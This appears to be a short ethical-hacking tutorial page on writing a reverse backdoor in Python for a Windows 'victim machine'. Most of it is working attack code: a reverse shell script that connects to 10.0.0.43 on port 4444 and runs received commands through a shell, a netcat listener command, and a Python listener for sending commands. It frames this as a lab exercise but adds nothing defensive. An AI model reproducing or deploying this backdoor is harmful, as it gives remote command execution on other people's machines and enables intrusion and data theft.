What are the ethical hacking techniques for creating backdoors in Python?

本文共计355个文字，预计阅读时间需要2分钟。

%E2%80%9C%E5%8F%8D%E5%8A%BF%E5%8F%A3%E5%8F%A3%E8%84%9A%E8%8E%B7%E5%8F%96%E6%96%87%E4%BB%B6%E7%B3%BB%E7%BB%9F%E6%9D%83%E9%99%90%E6%89%A7%E8%A1%8C%E7%B3%BB%E7%BB%9F%E5%91%BD%E4%BB%A4%E4%B8%8B%E8%BD%BD%E4%B8%8A%E4%BC%A0%E6%96%87%E4%BB%B6%E6%8C%81%E4%B9%85%E5%8F%A3%E5%8F%A3%E2%80%9D

REVERSE_BACKDOOR

• Access file system.
• Execute system commands.
• Download files.
• Upload files.
• Persistence.

BACKDOORS

An interactive program gives access to a system its executed on.

• Command execution.
• Access file system.
• Upload/download files.
• Run keylogger.
• ...etc

Write the Reverse backdoor Python script and execute on Windows machine. (Victim machine)

#!/usr/bin/env python import socket import subprocess def execute_system_command(command): return subprocess.check_output(command, shell=True) connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM) connection.connect(("10.0.0.43", 4444)) connection.send(b"\n[+] Connection established.\n") while True: command = connection.recv(1024).decode() command_result = execute_system_command(command) connection.send(command_result) connection.close()

Run the listening progress on the Kali Linux to establish the connection and execute the system commands.

nc -vv -l -p 4444

Write and execute the Python Listener:

#!/usr/bin/env python import socket listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM) listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) listener.bind(("10.0.0.43", 4444)) listener.listen(0) print("[+] Waiting for incoming connections") connection, address = listener.accept() print("[+] Got a connection from " + str(address)) while True: command = input(">> ").encode() connection.send(command) result = connection.recv(1024).decode() print(result)